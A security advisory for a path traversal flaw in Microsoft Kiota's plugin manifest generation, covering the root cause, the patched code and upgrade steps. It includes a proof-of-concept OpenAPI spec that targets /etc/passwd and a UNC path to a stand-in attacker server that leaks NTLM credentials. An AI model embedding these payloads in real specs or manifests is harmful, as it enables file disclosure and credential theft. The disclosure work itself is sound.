CVE-2026-105795: Unvalidated Custom Extension Path Traversal in Microsoft Kiota

Microsoft Kiota is an OpenAPI-based client and plugin generator designed to compile OpenAPI descriptions into reusable software libraries and plugin manifests. Among its functions is the generation of declarative API plugin manifests, which downstream hosts like Microsoft Copilot or Teams resolve to run plugins dynamically. The attack surface centers on Kiota's parser when processing custom OpenAPI extensions starting with the prefix x-ai-capabilities.

During the manifest construction process, Kiota attempts to extract declarative configuration metadata. Specifically, it parses the response_semantics mapping, which includes an optional field known as oauth_card_path. This field points to adaptive cards or OAuth flow configurations used by the plugin runtime during authorization phases.

In vulnerable versions of Kiota, the generator accepts and serializes this property without running security checks or path normalization. The security boundary is breached because the code generation engine implicitly trusts the OpenAPI specification, compiling traversal sequences or external resources directly into the manifest. Downstream integration engines then ingest these manifests and can be forced to break containment boundaries, exposing local files or contacting remote servers.

The root cause of this vulnerability lies in the lack of input validation and serialization logic inside src/Kiota.Builder/Plugins/PluginsGenerationService.cs. Prior to version 1.35.0, the PluginsGenerationService extracted the OauthCardPath string from parsed OpenAPI documents and directly assigned it to the generated object instance.

No checks were performed to see if the value contained directory traversal sequences (such as ..), absolute directory pathways (such as /etc/ or C:\), or network URIs (such as http:// or \\UNC\). Because Kiota acts as an intermediate compiler, it does not access the file paths during compilation. This design decision caused developers to overlook the security implications of storing raw paths in the output.

When Kiota outputs the generated plugin manifest JSON, the unvalidated path is embedded as an official configuration attribute. The responsibility of resolving this path is shifted to the downstream execution host. When the host environment parses the generated manifest and executes file lookup actions relative to the plugin directory, it processes the malicious traversal sequence.

The vulnerability was mitigated in version 1.35.0 via Pull Request #8055, applying a security check before property serialization. The patch introduces a helper validation method, ExtensionResponseSemanticsStaticTemplate.IsSafeFileReference, to ensure path references do not violate containment boundaries.

Below is the comparison of the vulnerable codebase against the patched version in src/Kiota.Builder/Plugins/PluginsGenerationService.cs:

// VULNERABLE CODE (Kiota < 1.35.0)
// The raw string was assigned directly to the output object without sanitization
responseSemantics.OAuthCardPath = capabilities.ResponseSemantics.OauthCardPath;

// PATCHED CODE (Kiota >= 1.35.0)
// The generation engine now validates the presence of oauthCardPath
if (capabilities.ResponseSemantics.OauthCardPath is { } oauthCardPath)
{
    // Check if the path points outside the manifest directory or contains URIs
    if (ExtensionResponseSemanticsStaticTemplate.IsSafeFileReference(oauthCardPath))
    {
        responseSemantics.OAuthCardPath = oauthCardPath;
    }
    else
    {
        // Unsafe references are dropped, and a warning is emitted to logs
        LogUnsafeOAuthCardPathFileReference(logger, oauthCardPath);
    }
}

The validation routine IsSafeFileReference ensures the value does not contain absolute structures, Windows UNC paths, or parent directory markers. The implementation of LogUnsafeOAuthCardPathFileReference registers a warning stating that oauth_card_path must be a relative path that does not point outside the manifest package structure.

To exploit this vulnerability, an attacker must supply a compromised OpenAPI document to a user compiling an API plugin manifest with Kiota. This can happen through shared repository specifications, public API catalogs, or social engineering.

An attacker crafts an OpenAPI spec containing a path traversal sequence in the oauth_card_path property of the x-ai-capabilities extension. Below is a structural example of a malicious specification:

openapi: 3.0.0
info:
  title: Traversal Exploit Specification
  version: 1.0
paths:
  /api/v1/auth:
    get:
      operationId: triggerAuth
      x-ai-capabilities:
        response_semantics:
          data_path: $.data
          oauth_card_path: '../../../../../../etc/passwd'
      responses:
        '200':
          description: Success

When a developer processes this document using a vulnerable version of Kiota (e.g., kiota generate --plugin openapi), Kiota writes the value directly to the output. The resulting manifest file contains the payload:

{
  "capabilities": {
    "response_semantics": {
      "data_path": "$.data",
      "oauth_card_path": "../../../../../../etc/passwd"
    }
  }
}

If the generated manifest is loaded into a downstream environment that executes file lookups relative to the plugin root without enforcing canonical path boundaries, the host reads and exposes the targeted system file.

The impact of CVE-2026-105795 depends heavily on the privilege level and configuration of the downstream host processing the generated manifest. In an insecure environment, an attacker can achieve local file disclosure or force unauthorized network interactions.

Under POSIX-compliant systems, directory traversal payloads can target files like /etc/passwd or application configuration files. On Windows-based systems, attackers can target registry configurations or system files using absolute path syntax or drive-letter prefixes. If a Windows host processes a UNC path payload (e.g., \\attacker-server\share\card.json), the host may attempt an SMB connection, leaking NetNTLM credentials to an external server.

Furthermore, if the host environment accepts URI schemes, an attacker could supply an HTTP or HTTPS link, leading to Server-Side Request Forgery (SSRF). This would allow the downstream service to fetch card configurations from arbitrary internet hosts, potentially executing secondary payloads.

Remediation of CVE-2026-105795 requires updating the Kiota builder toolchain and implementing defensive validation policies. Organizations utilizing Kiota must upgrade their CLI tools and NuGet dependencies to version 1.35.0 or higher.

To update the Kiota CLI globally, execute the following dotnet command:

dotnet tool update -g Microsoft.OpenApi.Kiota

For projects consuming Kiota as a C# library, edit your .csproj file to ensure that dependencies for Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder are set to 1.35.0 or greater.

In addition, downstream host systems must implement defense-in-depth measures. Run-time environments should never trust paths declared in manifest files. Runtimes must canonicalize all paths using platform-specific APIs and verify that the target path resides strictly within the sandboxed application directory before initiating file-read operations.